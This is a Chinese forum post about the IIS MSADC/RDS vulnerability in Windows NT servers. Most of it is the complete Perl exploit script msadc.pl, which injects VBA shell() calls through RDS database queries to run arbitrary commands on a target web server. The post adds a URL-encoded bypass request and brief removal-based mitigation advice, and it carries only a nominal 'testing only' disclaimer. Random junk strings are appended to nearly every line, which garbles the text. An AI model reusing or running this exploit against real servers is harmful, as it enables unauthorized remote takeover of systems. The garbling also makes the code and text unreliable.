社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 166019阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) X}C }  
q_K8vGm4e  
涉及程序: A]^RV{P  
Microsoft NT server L5 ~wX  
U 1!6%x  
描述: s 8O"U%  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 :^7/+|}9p  
]p C/6'  
详细: W=j  
如果你没有时间读详细内容的话,就删除: H.#<&5f  
c:\Program Files\Common Files\System\Msadc\msadcs.dll YD1 :m3l!  
有关的安全问题就没有了。 X,dOF=OJL  
luAmq+  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 V*HkF T  
x`/"1]Nf  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 :s|" ZR  
关于利用ODBC远程漏洞的描述,请参看: t_cNH@^3<3  
_Eo$V&  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm R]hilb'a  
_s{on/u  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 #1c%3KaZ I  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp b`M  2VZu  
$A"C1)d;  
这里不再论述。 q))r lMo  
^ 'W<|  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: T;jy2|mLo  
*V}T}nK7  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset U'8+YAgc  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 4 0as7.q  
"i3wc&9!?W  
T 2Uu/^  
#将下面这段保存为txt文件,然后: "perl -x 文件名" [k qx%4q)  
p2Yc:9r9+A  
#!perl d'Cn] <  
# GcXh V  
# MSADC/RDS 'usage' (aka exploit) script F2jZ3[P  
# xx[XwN;  
# by rain.forest.puppy 4 XSEN ]F  
# Y#[jDS(ip  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me >drG,v0qh  
# beta test and find errors! CHxu%- g  
! *Snx  
use Socket; use Getopt::Std;  vV5dW  
getopts("e:vd:h:XR", \%args); #w_cos[I  
7mG/f  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 36ygI0V_  
 {*!L[)  
if (!defined $args{h} && !defined $args{R}) { V}c3}'_U]  
print qq~ 53>y<  
Usage: msadc.pl -h <host> { -d <delay> -X -v } tS|gQUF17  
-h <host> = host you want to scan (ip or domain) RE~9L5i5  
-d <seconds> = delay between calls, default 1 second Z]U"i1lA  
-X = dump Index Server path table, if available dV_ClH &)  
-v = verbose ECq(i(  
-e = external dictionary file for step 5 /{h@A~<96  
/1A3 Sw  
Or a -R will resume a command session PtP{_9%Dz  
2Fwp\I;  
~; exit;} NF9fPAF%;  
|ipL.<v7  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Pv@P(y?\  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} <0R$yB  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} -%R3YU3  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); >/W  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} PHZ+u@AA6@  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } <:(p nw*L  
0^?:Zds  
if (!defined $args{R}){ $ret = &has_msadc; ]mO$Tg&s~  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} X9ua&T2(l  
`cu W^/c  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" $Sz@u"ig%  
. "cmd /c "; fjD/<`}v  
$in=<STDIN>; chomp $in; ~cC =DeX  
$command="cmd /c " . $in ; SxyXz8+e[  
T >BlnA  
if (defined $args{R}) {&load; exit;} # !:u*1  
ANqWY &f  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 5%`fh%  
&try_btcustmr; k&TZ   
q6R``  
print "\nStep 2: Trying to make our own DSN..."; :!',o]"4,k  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; K+2sq+ 3q  
~8fy qE$  
print "\nStep 3: Trying known DSNs..."; 7sgK+ ip  
&known_dsn; wlSl ~A/s  
Q7V*~{  
print "\nStep 4: Trying known .mdbs..."; $q}zW%  
&known_mdb; G3[X.%g`  
v@_^h}h/,=  
if (defined $args{e}){ |AgdD  
print "\nStep 5: Trying dictionary of DSN names..."; j%_{tB  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } . #+N?D<  
yH YqJ|t  
print "Sorry Charley...maybe next time?\n"; `;X~$uS  
exit; ..Q$q2.  
)1E[CIaXK  
############################################################################## qe M`z  
|r|<cc#  
sub sendraw { # ripped and modded from whisker T;?=,'u  
sleep($delay); # it's a DoS on the server! At least on mine...  (TKn'2  
my ($pstr)=@_; %8U/!(.g  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ZeB"k)FI>  
die("Socket problems\n"); WD`z\{hcom  
if(connect(S,pack "SnA4x8",2,80,$target)){ 45?aV@  
select(S); $|=1; 'r/+z a:2  
print $pstr; my @in=<S>; ]6)~Sj$ 5  
select(STDOUT); close(S); WR5@S&fU`  
return @in; $9~6M*  
} else { die("Can't connect...\n"); }} H YA<  
_BC%98:WP  
############################################################################## Ln&'5D#  
G0e]PMeFl  
sub make_header { # make the HTTP request >0^oC[ B  
my $msadc=<<EOT \:7G1_o  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 n:TWZ.9  
User-Agent: ACTIVEDATA r2t|,%%N7  
Host: $ip 9V]{q  
Content-Length: $clen Vn7FbaO^  
Connection: Keep-Alive E2hy%y9Tp  
NA=I7I@  
ADCClientVersion:01.06 \Uz7ar#,  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 d3,%Z &  
~tw#Q  
--!ADM!ROX!YOUR!WORLD! !L|}/u3v  
Content-Type: application/x-varg lla?;^,  
Content-Length: $reqlen LtJl\m.th  
bi01]  
EOT \ytF@"7  
; $msadc=~s/\n/\r\n/g; F\K&$5J{p  
return $msadc;} t@_MWF  
W##~gqZ/  
############################################################################## U3oMY{{E J  
ff{ L=uj  
sub make_req { # make the RDS request E((U=P}+g  
my ($switch, $p1, $p2)=@_; goJK~d8M*  
my $req=""; my $t1, $t2, $query, $dsn; Xc>M_%+ R  
VuU{7:  
if ($switch==1){ # this is the btcustmr.mdb query %I`%N2ss  
$query="Select * from Customers where City=" . make_shell(); 3?n2/p 7=  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . AlVB hR`  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} @N(*1,s2  
OrG1Mfx&2%  
elsif ($switch==2){ # this is general make table query w$`[C+L  
$query="create table AZZ (B int, C varchar(10))"; ktEdbALK  
$dsn="$p1";} @7}]\}SR  
[?QU'[  
elsif ($switch==3){ # this is general exploit table query b235Zm  
$query="select * from AZZ where C=" . make_shell(); REK(^1 h  
$dsn="$p1";} hxT{!g  
Hv3<gyD  
elsif ($switch==4){ # attempt to hork file info from index server QDHTP|2e  
$query="select path from scope()"; oh?@[U  
$dsn="Provider=MSIDXS;";} mdNIC  
s MZ90Q$  
elsif ($switch==5){ # bad query +N3f{-{"Yo  
$query="select"; X~o6Xkg  
$dsn="$p1";} zJMm=Mw^  
>QA;02  
$t1= make_unicode($query); =sIkA)"!=  
$t2= make_unicode($dsn); -wdd'G  
$req = "\x02\x00\x03\x00"; 8AGP*"gI  
$req.= "\x08\x00" . pack ("S1", length($t1)); Y|3n^%I  
$req.= "\x00\x00" . $t1 ; w4<n=k  
$req.= "\x08\x00" . pack ("S1", length($t2)); >Q-"-X1  
$req.= "\x00\x00" . $t2 ;  l,lfkm  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Szb#:C  
return $req;} h!zev~u1)`  
grs~<n|o\  
############################################################################## IEP^u `}  
CGp7 Tx#  
sub make_shell { # this makes the shell() statement V_Xq&!HN[  
return "'|shell(\"$command\")|'";} Q7{/ T0  
7_ G$&  
############################################################################## mne?r3d  
O]1aez[  
sub make_unicode { # quick little function to convert to unicode -Uj3?W  
my ($in)=@_; my $out; x("V +y*  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 1SwKd*aRR?  
return $out;} xNAa,aMM  
&BZjQK  
############################################################################## UG,<\k&  
@5,Xr`]  
sub rdo_success { # checks for RDO return success (this is kludge) qOD:+b  
my (@in) = @_; my $base=content_start(@in); R2Y.s^  
if($in[$base]=~/multipart\/mixed/){ -~rZ| W~v  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 5 A2u|UU  
return 0;} sI OT6L^7  
{;2Gl$\r  
############################################################################## D=^|6}  
7jzd I!  
sub make_dsn { # this makes a DSN for us P2t9RCH  
my @drives=("c","d","e","f"); Ia%S=xU{=  
print "\nMaking DSN: "; "BvAiT{u  
foreach $drive (@drives) { 3[UB3F 4K  
print "$drive: "; i2y E-sgF  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 7lH.>n  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ` JZ`j7f  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 6|@\\\l  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; g~v>{F+u  
return 0 if $2 eq "404"; # not found/doesn't exist U(~d^9/#  
if($2 eq "200") { nvOJY6)$V  
foreach $line (@results) { MRb6O!$`C  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} h3YWqSj  
} return 0;} wj$WE3Y  
4COo~d  
############################################################################## R\MFh!6sn  
gc[BP>tl\  
sub verify_exists { 5f- eWW]!  
my ($page)=@_; tXg>R _\C  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ]7/6u.G7R  
return $results[0];} mNDd>4%H_  
*f*o ,~8V1  
############################################################################## \-nbV#{  
)d =8)9B  
sub try_btcustmr {  C4.g}q  
my @drives=("c","d","e","f"); sqE? U*8.-  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ]N4?*S*jd)  
JIh:IR(ta  
foreach $dir (@dirs) { ~}@cSv'(1  
print "$dir -> "; # fun status so you can see progress ^)i1b:4  
foreach $drive (@drives) { S uo  
print "$drive: "; # ditto XR@C^d  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 8Ben}j)H  
$reqlenlen=length( "$reqlen" ); =P)H3|AdIm  
$clen= 206 + $reqlenlen + $reqlen; 8;q2W F{AX  
(O`2$~mIM  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ZmKxs^5S  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} )oCb9K:km  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}  '.5_L8  
;UPI%DnE]  
############################################################################## gQ;1SY!  
v$]eCj'  
sub odbc_error { 5LVzT1j|  
my (@in)=@_; my $base; UgC{  
my $base = content_start(@in); wxW\L!@  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this (-bLP  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {[Z}<#n)  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; I?~iEO\nh  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /xh/M@G3  
return $in[$base+4].$in[$base+5].$in[$base+6];} aS)Gj?Odf  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; NB#-W4NA  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 4lsg%b6_%,  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 3?Tk[m1b  
Dqg~g|(Q<  
############################################################################## M # ) @!  
.j l|? o  
sub verbose { tMOhH #  
my ($in)=@_; i286`SLU  
return if !$verbose; fKQq]&~ H  
print STDOUT "\n$in\n";} Q3P*&6wA  
"qxu9Hg!  
############################################################################## ;RW0 24  
|9x H9@^f  
sub save { KL^hYjC  
my ($p1, $p2, $p3, $p4)=@_; 0hoi=W6AQ  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; U{|WN7Q:A  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; o^*k   
close OUT;} %DIZgPd\  
jFPD SR5  
############################################################################## Qk#`e  
 Y!*F-v@  
sub load { TBr@F|RXiO  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; d"~-D;  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); {~a+dEz  
@p=<IN>; close(IN); *c{X\!YBh  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); # *)X+*  
$target= inet_aton($ip) || die("inet_aton problems"); %D $+Z(  
print "Resuming to $ip ..."; %[J|n~8_Z  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ?o883!&v  
if($p[1]==1) { vC|V8ea  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; xa]e9u%  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ['#3GJz-  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); )DwHLaLW  
if (rdo_success(@results)){print "Success!\n";} ;($"_h  
else { print "failed\n"; verbose(odbc_error(@results));}} /^^wHW:  
elsif ($p[1]==3){ F?*ko,  
if(run_query("$p[3]")){ JR^#NefJ  
print "Success!\n";} else { print "failed\n"; }} yf@DaIG  
elsif ($p[1]==4){  Unc_e  
if(run_query($drvst . "$p[3]")){ )D>= \ Me  
print "Success!\n"; } else { print "failed\n"; }} *wNO3tP't  
exit;} 5 4vDP9  
x-Ug(/!^  
############################################################################## KXvBJA$  
ReZ&SNJ  
sub create_table { u~\I  
my ($in)=@_; s$PPJJT{b  
$reqlen=length( make_req(2,$in,"") ) - 28; +L>?kr[i[  
$reqlenlen=length( "$reqlen" ); WB(Gx_o3  
$clen= 206 + $reqlenlen + $reqlen; S3F8Chk5  
my @results=sendraw(make_header() . make_req(2,$in,"")); w$j!89@)  
return 1 if rdo_success(@results); pj/w9j G6  
my $temp= odbc_error(@results); verbose($temp); ML-?#jNa<  
return 1 if $temp=~/Table 'AZZ' already exists/; SU80i`  
return 0;} G}ccf%  
j c-$l  
############################################################################## wD|I^y;  
=lG/A[66  
sub known_dsn { {- Y.C*E  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go y>jP]LR4  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", HI%#S&d  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 9}*<8%PSt,  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ie9,ye"  
.Mz'h 9@  
foreach $dSn (@dsns) { X|wg7>kh*`  
print "."; 1?hx/02  
next if (!is_access("DSN=$dSn")); -er8(snDQ  
if(create_table("DSN=$dSn")){ Yj/[I\I"m  
print "$dSn successful\n"; [r f.&  
if(run_query("DSN=$dSn")){ .^aqzA=]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { u{d\3-]/  
print "Something's borked. Use verbose next time\n";}}} print "\n";} W&HF*Aw  
T]0H&Oov  
############################################################################## qG?svt  
F!pgec%]'  
sub is_access { v>oWk:iJP  
my ($in)=@_; 9W+RUh^W  
$reqlen=length( make_req(5,$in,"") ) - 28; KE*8Y4#9  
$reqlenlen=length( "$reqlen" ); 9?L,DThQ  
$clen= 206 + $reqlenlen + $reqlen; 9Atnnx]n  
my @results=sendraw(make_header() . make_req(5,$in,"")); AttS?TZr  
my $temp= odbc_error(@results); /@`kM'1:  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); D g~L"  
return 0;} Z @d(0 z  
[44C`x[8M+  
##############################################################################  V9cKl[  
GT3 ?)g{Z  
sub run_query { 4ht+u  
my ($in)=@_; uqFYa bU  
$reqlen=length( make_req(3,$in,"") ) - 28; bz4TbGg]  
$reqlenlen=length( "$reqlen" ); ^j>w<ljzz  
$clen= 206 + $reqlenlen + $reqlen; TeXt'G=M  
my @results=sendraw(make_header() . make_req(3,$in,"")); /lqVMlz\77  
return 1 if rdo_success(@results); j| X>:!4r  
my $temp= odbc_error(@results); verbose($temp); Exu>%  
return 0;} zc#$hIi  
DSX.84  
############################################################################## \I[50eh|  
.QVZ!  
sub known_mdb { "B"Yfg[  
my @drives=("c","d","e","f","g"); ( {}Z '  
my @dirs=("winnt","winnt35","winnt351","win","windows"); *%;+3SV  
my $dir, $drive, $mdb; RwyRPc _  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; `Eq~W@';Q0  
MeMSF8zSQ  
# this is sparse, because I don't know of many f tE2@}  
my @sysmdbs=( "\\catroot\\icatalog.mdb", w0(1o_F7.  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", rmh 1.W  
"\\system32\\certmdb.mdb", wM aqR"%  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% "2 "gTS  
;(I')[R "  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", EnD }|9  
"\\cfusion\\cfapps\\forums\\forums_.mdb", .{ +Ob i  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", KYN{Dh]-}  
"\\cfusion\\cfapps\\security\\realm_.mdb", r< ~pSj  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", '7;b+Vbl#  
"\\cfusion\\database\\cfexamples.mdb", ?Q#yf8  
"\\cfusion\\database\\cfsnippets.mdb", Q-7C'|  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", j,@@[{tu  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", T2/lvvG  
"\\cfusion\\brighttiger\\database\\cleam.mdb", bxR6@  
"\\cfusion\\database\\smpolicy.mdb", BfOQ/k))  
"\\cfusion\\database\cypress.mdb", PTZ/j g@71  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Z?"f#  
"\\website\\cgi-win\\dbsample.mdb", 'PK;Fg\  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |'ML )`c[  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Fx6]x$3  
); #these are just \:vHB!2E  
foreach $drive (@drives) { @eOD+h'  
foreach $dir (@dirs){ ) u Sg;B4  
foreach $mdb (@sysmdbs) { q"C(`S.@  
print "."; |18h p  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 9qcA+gz:|  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; gR\-%<42  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ nEgDwJ<wl  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; %TUvH>;0  
} else { print "Something's borked. Use verbose next time\n"; }}}}} M|DVFC  
^]{m*bEkR  
foreach $drive (@drives) { {2,vxGi  
foreach $mdb (@mdbs) { Z\. n6  
print "."; *JT,]7>  
if(create_table($drv . $drive . $dir . $mdb)){ tkj QSz  
print "\n" . $drive . $dir . $mdb . " successful\n"; &Ay[mZQ 7  
if(run_query($drv . $drive . $dir . $mdb)){ NcMohpkq  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; vj,OX~|  
} else { print "Something's borked. Use verbose next time\n"; }}}} AAW])c`.  
} /|MHZ$Y9w?  
PqDffZ^z  
############################################################################## \{u 9Kc  
 TG^?J`  
sub hork_idx { B/F6WQdZ  
print "\nAttempting to dump Index Server tables...\n"; Q!*}^W  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; |S0nR<x-M  
$reqlen=length( make_req(4,"","") ) - 28; 1~aP)q  
$reqlenlen=length( "$reqlen" ); g:rjt1w`D  
$clen= 206 + $reqlenlen + $reqlen; F :p9y_W  
my @results=sendraw2(make_header() . make_req(4,"","")); J<;@RK,c_  
if (rdo_success(@results)){ d":GsI?3  
my $max=@results; my $c; my %d; U_[<,JE  
for($c=19; $c<$max; $c++){ T0TgV  
$results[$c]=~s/\x00//g; `WRM7  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; $s.:H4:I  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; {i#z <ttu  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Wb{0UkApJ  
$d{"$1$2"}="";} hb ="J349  
foreach $c (keys %d){ print "$c\n"; } J1UG},-h  
} else {print "Index server doesn't seem to be installed.\n"; }} -g\;B  
s{9 G//  
############################################################################## ` G- V %  
>h3m/aeNC  
sub dsn_dict { ZULnS*V;5  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); iO@UzD #v  
while(<IN>){ ic;M=dsh:  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; OC=g 1  
next if (!is_access("DSN=$dSn")); dtx3;d<NsJ  
if(create_table("DSN=$dSn")){ X%rsa7H3J  
print "$dSn successful\n"; euiP<[|h=  
if(run_query("DSN=$dSn")){ n4sO#p)'  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { r?2EJE2{V  
print "Something's borked. Use verbose next time\n";}}} ,[UK32KWI  
print "\n"; close(IN);} D8 BmC  
DmtCEKa  
############################################################################## SE<?l  
QCAoL.v  
sub sendraw2 { # ripped and modded from whisker aDZ,9}  
sleep($delay); # it's a DoS on the server! At least on mine... OaeX:r+&Q  
my ($pstr)=@_; AEd]nVV Q  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *hvC0U@3  
die("Socket problems\n"); F?+\J =LT  
if(connect(S,pack "SnA4x8",2,80,$target)){ C2}f'  
print "Connected. Getting data"; 4H4ui&|7u6  
open(OUT,">raw.out"); my @in; W\Df:P {<  
select(S); $|=1; print $pstr; E! GH$%:;  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} c4V%>A  
close(OUT); select(STDOUT); close(S); return @in; yQ!I`T>a  
} else { die("Can't connect...\n"); }} <q.Q,_cW  
?>/9ae^Bw  
############################################################################## >r\q6f#J4  
`F`{s`E)  
sub content_start { # this will take in the server headers .L@gq/x)  
my (@in)=@_; my $c; #1De#uZ  
for ($c=1;$c<500;$c++) { 1Eh6ti  
if($in[$c] =~/^\x0d\x0a/){ Y?v{V>;*A  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } zvbO q  
else { return $c+1; }}} bY UG4+rD  
return -1;} # it should never get here actually \k 6'[ln  
H):(8/> (  
############################################################################## %WF]mF T_  
,n3e8qd  
sub funky { e);`hNLih  
my (@in)=@_; my $error=odbc_error(@in); Z^!% b  
if($error=~/ADO could not find the specified provider/){ "IN[(  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Qg]+&8!*  
exit;} %k'>bmJ  
if($error=~/A Handler is required/){ <&RpGAk%I  
print "\nServer has custom handler filters (they most likely are patched)\n"; \2))c@@%  
exit;} $a'}7Q_  
if($error=~/specified Handler has denied Access/){ =&I9d;7  
print "\nServer has custom handler filters (they most likely are patched)\n"; IOT-R!.5V  
exit;}} #w@V!o  
Qo~|[]GE  
############################################################################## Ggk#>O G  
`0, G' F  
sub has_msadc { =}g-N)^  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); mg]t)+PQ  
my $base=content_start(@results); !nU|3S[b  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 4;*jE (  
return 0;} NHiac(&*  
p""\uG'  
######################## +"1fr  
X;]I jha<*  
\q@Co42n\  
解决方案: bae;2| w  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Y'<wE2ZL)  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 zygH-3C7o  
#&X5Di[A  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五